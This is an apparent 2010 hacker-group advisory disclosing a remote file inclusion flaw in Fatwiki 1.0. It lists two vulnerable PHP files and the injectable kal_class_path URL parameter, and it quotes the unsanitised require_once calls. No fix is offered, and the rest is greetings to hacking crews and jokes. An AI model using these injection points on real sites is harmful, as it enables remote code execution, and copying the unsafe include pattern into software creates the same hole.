61 lines
No EOL
2.2 KiB
Text
61 lines
No EOL
2.2 KiB
Text
#############################################################################################################
|
|
## Fatwiki (fwiki) Remote FiLe include RFI ##
|
|
## Author : kaMtiEz (kamzcrew@yahoo.com) ##
|
|
## Homepage : http://www.indonesiancoder.com ##
|
|
## Date : 10 januari, 2010 ##
|
|
#############################################################################################################
|
|
|
|
[ Software Information ]
|
|
|
|
[+] Vendor : http://galupki.de/
|
|
[+] Download : http://galupki.de/zip/fwiki_10b.zip
|
|
[+] version : 1.0
|
|
[+] Vulnerability : RFI
|
|
[+] Dork : syalalala
|
|
[+] LOCATION : INDONESIA - JOGJA
|
|
#############################################################################################################
|
|
|
|
[ Vulnerable File ]
|
|
|
|
http://127.0.0.1/[kaMtiEz]/datumscalc.php?kal_class_path=[INDONESIANCODER]
|
|
http://127.0.0.1/[kaMtiEz]/monatsblatt.php?kal_class_path=[INDONESIANCODER]
|
|
|
|
[ BUG ]
|
|
|
|
[!] datumscalc.php
|
|
- require_once("$kal_class_path/kalender.class.php");
|
|
- require_once("$kal_class_path/feiertage.class.php");
|
|
- require_once("$kal_class_path/sonnemond.class.php");
|
|
|
|
[!] monatsblatt.php
|
|
- require_once("$kal_class_path/kalender.class.php");
|
|
- require_once("$kal_class_path/feiertage.class.php");
|
|
- require_once("$kal_class_path/sonnemond.class.php");
|
|
- require_once("$kal_class_path/minikal.php");
|
|
|
|
[ FIX ]
|
|
|
|
dunno :">
|
|
|
|
|
|
#############################################################################################################
|
|
|
|
[ Thx TO ]
|
|
|
|
[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink
|
|
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry,gonzhack ..
|
|
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah
|
|
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk
|
|
|
|
[ NOTE ]
|
|
|
|
[+] Babe enyak adek i love u pull dah ..
|
|
[+] to someone u will be p0wned :P
|
|
[+] Tukulesto : kapan keliling kota lagi ?? hahaha
|
|
[+] gonzhack : semoga balikan ya s0b .. ane dukung ..
|
|
[+] cimpli : janganlah bermimpi tentang menikahi Maria Ozawa .. hahahhah
|
|
|
|
[ QUOTE ]
|
|
|
|
[+] we are not dead .. INDONESIANCODER still r0x !
|
|
[+] nothing secure .. |